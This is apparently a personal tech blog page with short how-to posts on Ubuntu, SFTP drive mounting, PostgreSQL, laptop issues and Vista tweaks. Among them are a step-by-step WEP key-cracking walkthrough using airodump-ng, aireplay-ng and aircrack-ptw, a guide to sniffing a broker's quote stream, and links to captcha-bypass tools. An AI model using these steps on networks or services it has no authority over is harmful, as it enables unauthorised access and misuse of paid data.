Lalit Kapoor

Coding | AI | Search Engine Technology | Recommendations
twitter: Internet Explorer - I hate you.

Ubuntu Server & Desktop Autologin

Uncategorized No Comments »
To autologin to Ubuntu Server you will need to get mingetty

sudo apt-get intall mingetty
Then you will want to edit /etc/event.d/tty1 and change the following

exec /sbin/getty 38400 tty1
to

exec /sbin/mingetty –autologin your_username tty1
To autologin to Ubuntu Desktop do the following
sudo gdmsetup
  • click on the Security tab
  • check Enable Automatic Login
  • Select the username from the drop down list and click Close


Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • DZone
  • del.icio.us
  • Technorati
  • Furl
  • Facebook
  • Google
  • Mixx
  • Sphinn
  • StumbleUpon

Mount FTP Or SFTP As A Drive In Windows

enhancement, networking, vista, windows 6 Comments »

Problem
I want to mount my folders from my webhost over sftp (ssh) on my Windows machine for free. Something like sshfs for Windows.

Discussion
Currently there is no single application that will let me mount an SFTP connection as a drive. There are however applications such as NetDrive, FTPDrive, etc which will let me mount an FTP connection as a drive. So all that’s left to do is create a FTP to SFTP bridge. What does that do you ask? That creates a FTP proxy to your SFTP connection. It will allow you to send your commands from the FTP server to the SFTP connection. There are two tools that stand out to create the bridge we need. The first is mindTerm, an open source solution written purely in java. The second is Tunnelier by Bitvise. I will be using mindTerm with NetDrive in my solution. If you have success with any other combination feel free to comment about your setup.

Solution

  1. Download and extract mindTerm
  2. Run mindterm.jar (double click it if you can, otherwise in command prompt type in java -jar mindterm.jar)
  3. Type in the host you want to ssh into followed by the username and password
  4. In the menu click on Plugins>FTP To SFTP Bridge…
  5. Type in 127.0.0.1 for the Listen address
  6. Type inĀ  21 for the Listen port
  7. Select the Remote system type
  8. Click Enable
  9. Click Dismiss
  10. Next we want to install NetDrive
  11. Once netdrive is installed, open it up, and click New Site on the bottom
  12. Type in localhost (or whatever you want to call it) for the Site name
  13. Type in localhost for the Site IP
  14. Type in 21 for the Port
  15. Select FTP for the Port
  16. Select a Drive letter
  17. Check Connect as anonymous
  18. Click Save
  19. Click Connect
  20. Click the X to close the window (will minimize to system tray)

There you have it! A SSH/SFTP connection as a drive in Windows. I have tested it in Windows Vista, however it should work just fine in Windows XP.

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • DZone
  • del.icio.us
  • Technorati
  • Furl
  • Facebook
  • Google
  • Mixx
  • Sphinn
  • StumbleUpon

Bypass Rapidshare’s Cats

hacking, security No Comments »

Are you getting frustrated with rapidshare’s captcha.
Give CryptLoad a try: http://cryptload.info/
Need installing instructions (really simple): http://cryptload.info/wiki_en/wiki/Main_Page

Also get the Rapidshare Happy Hour Checker: http://rapidshare.com/files/112883634/RSHappyHourChecker.zip

Please comment on your experiences.

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • DZone
  • del.icio.us
  • Technorati
  • Furl
  • Facebook
  • Google
  • Mixx
  • Sphinn
  • StumbleUpon

IBM ThinkPad T43 Hissing Noise In Linux

laptop, linux, ubuntu No Comments »

I have an old T43 laptop by IBM. Recently I put Ubuntu 8.04 (Hardy) on it and started getting a hissing noise when running on battery power. I found 2 possible solutions:

  • add the following to /etc/modprobe.d/options
    • options processor max_cstate=2
  • get the linux-server kernel
    • sudo apt-get install linux-server

I didn’t get a chance to try the first option as I already put the linux-server kernel on there. If the first one gives you any luck write a comment and let me know.

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • DZone
  • del.icio.us
  • Technorati
  • Furl
  • Facebook
  • Google
  • Mixx
  • Sphinn
  • StumbleUpon

PostgreSQL - Dump and Restore

databases No Comments »
To dump data from a postgreSQL database you can use the pg_dump command as follows

pg_dump database > file.sql

 

To restore that data you can execute the following command

psql -d database -f file.sql -U db_username
Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • DZone
  • del.icio.us
  • Technorati
  • Furl
  • Facebook
  • Google
  • Mixx
  • Sphinn
  • StumbleUpon

Sony VGN-SZ780 Laptop Review

Uncategorized 3 Comments »

Recently I purchased a Sony VGN-SZ780 Laptop, as I haven’t had a working computer for close to a year now. Previously I managed to get by using my roomate’s laptop and the desktop at my research lab. My roommate had a sony SZ330 I believe with Windows XP (32-bit), it worked quite nicely once I reformatted it and removed all the bloated software that Sony installs by default. It was with this experience that I decided to purchase a Sony Laptop. I myself am mostly a Linux guy, I put it on everything pretty much :) . So I figured I would install it on my new Sony VGN-SZ780 Laptop. I purchased my laptop for around $2500 (quite pricey I know, but I figured the experience that I had with another Sony model was worth it).

Little did I know that I would have spent the next few weeks figuring out drivers for Ubuntu 8.04, but we’ll come back to this later. I did give Windows Vista a shot, but there were too many issues. For example, after a logging in and after windows completes loading everything it needs to for startup I am looking at 93 processes running. Are you kidding me? I just bought this computer and there are already 93 processes running. I decided what the hell, I have 4 gigs of ram and a new 2.4Ghz Core 2 Duo, I’ll see how it performs. So after installing a couple things like office 2007, CD burning software, extraction tools, etc. I am now at 110 processes running. I am now also beginning to experience multiple crashes when doing nothing. I think if I stare at Windows too long explorer crashes and it urinates all over on my laptop. As I was busy with work I did not have time to reinstall it or try linux at the time, but now that I am free for a bit I gave it a shot.

I installed Ubuntu 8.04 (Hardy) on the laptop, and everything seemed alright at first. I was using a wireless keyboard and mouse at the time. However I recently starting using my laptop for more than just a screen on my desk. I starting using it for it’s portability. That is when I ran into problems with the touchpad. The sensitivity on the touchpad is ridiculous, I did install the right applications and messed with my xorg.conf to fix the issue, but neither worked. Another issue that I noticed with the touchpad was that in order to click using the touchpad (not the buttons below it) the mouse needed to be in motion. I later discovered that the Alps drivers are not well supported in linux like the Synaptics drivers; that is because Alps hasn’t really provided support to the open source community for their touchpads. It became really unbearable to use the laptop without a usb mouse. I was happy with linux. I had the 4GB of ram working (sudo apt-get install linux-server), but if essential things like the touchpad don’t work, it’s just got to go. So I decided what the hell. I’ll put windows XP on the laptop.

Windows XP, another failure for Sony. Sony just won’t support all the drivers. Things like the camera, some other sony utilities, fingerprint reader, some function keys (like adjusting brightness) just didn’t work. If I’m back to Windows atleast I should get functioning Function commands with the keyboard. Also no support for memory greater than 3GB on 32-bit XP, but that’s not Sony’s fault. It is just a limitation with regular 32-bit OSes. What next? How about Windows Vista 64-bit.

Well, since sony only supports Windows Vista with my laptop how about I install 64-bit Windows so I can atleast use all 4GB of ram, which I paid for. Yay, Windows now recognizes 4GB of ram, but wait hmm, Sony doesn’t have any 64bit drivers. I managed to get wireless working by downloading the 64-bit drivers from intel’s website, and that was about it, everything else pretty much failed. So back to 32-bit Windows Vista.

So I reinstalled Windows Vista (Not using Sony’s Restoration CD, as I don’t want bloatware). Downloading and installing drivers from Sony’s website do not work as expected, some fail. Only Sony’s resoration cd works.

In conclusion if you are at the least a bit of a computer geek, I highly recommend that you not invest your money into Sony’s line of notebooks.

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • DZone
  • del.icio.us
  • Technorati
  • Furl
  • Facebook
  • Google
  • Mixx
  • Sphinn
  • StumbleUpon

Disable Full Row Select In Windows Vista

enhancement, vista, windows No Comments »

Vista, is just so unreliable. Until I can put Ubuntu or XP back on my laptop, I can atleast make Vista work a little better for me. First thing to go is the full row select in folders. I only want to select a file if I click on it in the name column, not anywhere in the row. Here is the fix: disablefullrowselect.

.I found this on vistax64.com Enjoy.

Instructions:

  1. Kill all explorer.exe
  2. run the script
    1. start the task manager from ctrl-alt-delete
    2. file>New Task (Run…)
    3. browse to the where you stored the file, select it
    4. run it by clicking OK
  3. log off windows
  4. log back in

For more enhancements/fixes check out: http://home.mchsi.com/~k.miller79/

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • DZone
  • del.icio.us
  • Technorati
  • Furl
  • Facebook
  • Google
  • Mixx
  • Sphinn
  • StumbleUpon

Fix Imeem Playlist Issues

bug fix No Comments »

Problem: Playlists on imeem.com will not go onto the next song. The playlist will load and play a song, but as soon as that song is over, the next song will not automatically play.

Causes: Adobe Flash, Adblock Plus

Solution:

Worked for me.

Please comment if you still have persisting problems or different solutions.

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • DZone
  • del.icio.us
  • Technorati
  • Furl
  • Facebook
  • Google
  • Mixx
  • Sphinn
  • StumbleUpon

Hacking Wireless Keys - WEP

hacking, security, wireless 5 Comments »

Disclaimer: This is for Educational purposes only. I am not responsible for how you or anyone else uses the following information. Check the laws in your country.

In order to hack a wireless network secured with WEP you will need a few tools:

  • A wireless card that can go into monitor mode (I have an Intel PRO/Wireless 3945ABG)
    • Note: To do dump data and crack the key in Windows I would recommend OmiPeek Personal to capture the data (it will put your driver in monitor mode and restore it when you close the application) and the driver in the note below
    • Note: For my wireless card I needed to get an older driver. This older driver supports the much needed monitor mode. If you need this driver I have hosted it here. This is for Windows. However, this tutorial will teach you how to crack it in Linux via a Live CD.
  • A linux live CD (I used: WifiWay version 1.0 Beta2 from here)
    • After booting up type in: startx
      • Note: All the text will be in Spanish. Go to the KDE menu and change the regional/language settings to English if you need to. Also in the taskbar in the bottom right change the flash from Spain’s flag to the U.S. flag if you desire to be able to use the US keyboard properly in the terminal.
  • airodump-ng - To dump the packets to a file
  • aireplay-ng - To increase the data packets
  • airocrack-ptw - To crack the password

Now that you have all these tools you will need to do the following (Assuming you are using the WifiWay CD):

  1. Type in a terminal: airodump-ng rtap0
  2. Type in another terminal: airodump-ng -w packets rtap0 to start dumping the packets
  3. Type in another terminal: ifconfig wifi0 up
  4. Type: ifconfig to Get our MAC address
  5. Type in another terminal: aireplay-ng -1 0 -a BSSID -h Our MAC -e ESSID wifi0 this is to do a handshake
  6. Type: aireplay-ng -3 -b BSSID -e ESSID -h Our MAC wifi0 this is to inject more traffic (drive up the number of packets)
  7. once you have alot of packets (over 250,000 is recommended for the highest possible bit wep key) type in aircrack-ptw packets.cap
  8. Voila you have the key. It is in hex format.
  9. If you need to do a hex to ascii coversion you can do it here.

Note: If you want to crack WPA, it is the same thing, except when you crack it, you will need to use a dictionary attack. If anyone really wants me to walk through this I will, just leave a comment.

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • DZone
  • del.icio.us
  • Technorati
  • Furl
  • Facebook
  • Google
  • Mixx
  • Sphinn
  • StumbleUpon

Get Free Real-Time Streaming Quotes

c#, finance, hacking, programming, stocks 5 Comments »

Disclaimer: This is for Educational purposes only. I am not responsible for how you or anyone else uses the following information.

Dilemma: Need real-time streaming quotes to load into my own stock analyzer application so that I can back test strategies. There are a few services out there that will give you streaming quotes for free, but they are delayed by about 15 to 20 minutes on average. To get real-time quotes you would need to sign up to receive data from a provider such as ESignal, IQFeed, Gain, OpenTick ($1/month for real-time quotes), or Yahoo. However if you already have an online broker, you are able to view these quotes via your broker’s website. Usually the broker streams the live quotes through a java applet. I want to use the data where I want to use it and how I want to use it. I would like to use this data feed and provide it to my application, which is written in C#, so that it can analyze the market as it is changes in real time.

Solution: You will need the following tools/resources: an online broker, a packet capturing tool (I use WinPcap), a packet sniffer (I used NetworkActiv PIAFCTM 2.2, but you can use any, such as: WireShark or Ethereal), and SharpPcap (C# wrapper for WinPcap) if you’re going to extract the data using C#, if you use python, as I sometimes do, try pypcap.

Once you have these tools in your arsenal you are ready to begin.

  1. Install the applications necessary listed above.
  2. You should stop all network activity on your computer. This means close your AIM application, online games, and torrent applications.
  3. Open your browser and go to your broker’s website, login, and start the live streaming data feed.
  4. Start your packet sniffer and take a look at what port the data is coming from, to get the right port you will have to look through the network traffic and see if you can find any ticker data, if you look at the port that it is coming from and take a note of it.
  5. Start up your C# editor and create a new project. Use the SharpPcap dll as a reference and create your device listener. Once you have the right network adapter selected set the device to filter the port that the data is coming in from. Next write the packet data out to the console. Remember: The packet data is a byte array so properly convert the byte array to ASCII using: System.Text.Encoding.ASCII.GetString(packet.Data). This will properly output the data.
  6. Now that we are receiving the ticker data, we can use regular expressions to extract the relevant data from the application-specific formated protocol.
  7. Create a formatted datafeed service for your application. Have the data passed via a network port. Store the ticker data into a database so that your application can access historical data whenever it needs it.

Notes: I found that some online brokers such as TD Ameritrade actually encrypt their network traffic data to the applet, so it is harder to decrypt, however I am sure that the security key is lying somewhere in the code or on the computer. There are some brokers such as OptionsXpress (Free signup and no minimum deposit) that don’t encrypt their data as they send it to their applet, and therefore the data is flying around in plain text, therefore it is much easier to strip that data using a packet sniffing utility.

Comments: I would recommend getting a data feed via a company like OpenTick as they offer it for cheap prices a month. Another good option I have found is use a broker that offers that service to you for free, such as Interactive Brokers. Interactive Brokers has an API to allow you to use real-time data to build your own automated trading applications, you can use their API in C++, C#, and Java.

Leave comments if you’d like to see screen shots or want me to post my code.

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • DZone
  • del.icio.us
  • Technorati
  • Furl
  • Facebook
  • Google
  • Mixx
  • Sphinn
  • StumbleUpon